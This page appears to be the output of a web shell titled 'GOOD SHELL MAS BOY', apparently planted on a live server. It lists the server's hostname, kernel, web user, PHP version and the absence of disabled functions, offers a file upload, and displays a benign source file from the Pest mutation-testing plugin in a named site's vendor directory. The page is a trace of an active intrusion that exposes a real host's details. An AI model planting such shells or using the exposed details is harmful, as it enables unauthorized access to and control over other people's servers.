GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/admin.fixgini.com/vendor/pestphp/pest-plugin-mutate/src/MutationSuite.php
<?php

declare(strict_types=1);

namespace Pest\Mutate;

use Pest\Mutate\Repositories\ConfigurationRepository;
use Pest\Mutate\Repositories\MutationRepository;
use Pest\Mutate\Support\Configuration\Configuration;
use Pest\Support\Container;

class MutationSuite
{
    private static ?MutationSuite $instance = null;

    public readonly MutationRepository $repository;

    private float $start;

    private float $finish;

    public function __construct()
    {
        $this->repository = new MutationRepository;
    }

    public static function instance(): self
    {
        if (! self::$instance instanceof \Pest\Mutate\MutationSuite) {
            self::$instance = new MutationSuite;
        }

        return self::$instance;
    }

    public function duration(): float
    {
        return $this->finish - $this->start;
    }

    public function trackStart(): void
    {
        $this->start = microtime(true);
    }

    public function trackFinish(): void
    {
        $this->finish = microtime(true);
    }

    public function score(): float
    {
        return $this->repository->score();
    }

    public function minScoreReached(): bool
    {
        /** @var Configuration $configuration */
        $configuration = Container::getInstance()->get(ConfigurationRepository::class)->mergedConfiguration(); // @phpstan-ignore-line

        if ($configuration->minScore === null) {
            return true;
        }

        return $configuration->minScore <= $this->score();
    }
}